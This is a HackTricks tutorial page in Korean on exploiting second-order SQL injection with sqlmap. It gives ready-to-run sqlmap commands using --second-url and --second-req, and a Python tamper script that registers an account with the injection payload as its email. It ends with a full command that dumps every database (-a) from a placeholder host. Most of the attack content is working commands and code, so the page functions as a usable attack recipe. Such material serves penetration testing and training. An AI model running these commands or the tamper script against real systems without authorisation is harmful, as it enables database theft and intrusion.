Second Order Injection - SQLMap

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

SQLMap은 Second Order SQL 인젝션을 악용할 수 있습니다. 다음을 제공해야 합니다:

  • SQL 인젝션 페이로드가 저장될 요청

  • 페이로드실행요청

SQL 인젝션 페이로드가 저장된 요청은 sqlmap에서 다른 인젝션과 마찬가지로 표시됩니다. 인젝션의 출력/실행을 sqlmap이 읽을 수 있는 요청은 --second-url 또는 --second-req로 표시할 수 있습니다. 파일에서 완전한 요청을 지정해야 하는 경우 --second-req를 사용하세요.

간단한 Second Order 예시:

#Get the SQL payload execution with a GET to a url
sqlmap -r login.txt -p username --second-url "http://10.10.10.10/details.php"

#Get the SQL payload execution sending a custom request from a file
sqlmap -r login.txt -p username --second-req details.txt

여러 경우에는 이것만으로는 충분하지 않을 수 있습니다. 페이로드를 보내고 다른 페이지에 액세스하는 것 외에도 다른 작업을 수행해야 할 수 있습니다.

이럴 때는 sqlmap tamper를 사용할 수 있습니다. 예를 들어 다음 스크립트는 sqlmap 페이로드를 이메일로 사용하여 새로운 사용자를 등록하고 로그아웃합니다.

#!/usr/bin/env python

import re
import requests
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.NORMAL

def dependencies():
pass

def login_account(payload):
proxies = {'http':'http://127.0.0.1:8080'}
cookies = {"PHPSESSID": "6laafab1f6om5rqjsbvhmq9mf2"}

params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)

def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
login_account(payload)
return payload

SQLMap 탬퍼는 페이로드로 인젝션 시도를 시작하기 전에 항상 실행되며, 페이로드를 반환해야 합니다. 이 경우에는 페이로드는 신경 쓰지 않고 몇 가지 요청을 보내는 것에 관심이 있으므로 페이로드는 변경되지 않습니다.

따라서, 두 번째 순서의 SQL 인젝션을 악용하기 위해 더 복잡한 플로우가 필요한 경우:

  • "이메일" 필드 내에 SQLi 페이로드를 포함하여 계정을 생성합니다.

  • 로그아웃합니다.

  • 해당 계정으로 로그인합니다 (login.txt).

  • SQL 인젝션을 실행하기 위해 요청을 보냅니다 (second.txt).

다음 sqlmap 명령어가 도움이 될 것입니다:

sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy http://127.0.0.1:8080 --prefix "a2344r3F'" --technique=U --dbms mysql --union-char "DTEC" -a
##########
# --tamper tamper.py : Indicates the tamper to execute before trying each SQLipayload
# -r login.txt : Indicates the request to send the SQLi payload
# -p email : Focus on email parameter (you can do this with an "email=*" inside login.txt
# --second-req second.txt : Request to send to execute the SQLi and get the ouput
# --proxy http://127.0.0.1:8080 : Use this proxy
# --technique=U : Help sqlmap indicating the technique to use
# --dbms mysql : Help sqlmap indicating the dbms
# --prefix "a2344r3F'" : Help sqlmap detecting the injection indicating the prefix
# --union-char "DTEC" : Help sqlmap indicating a different union-char so it can identify the vuln
# -a : Dump all
htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

Last updated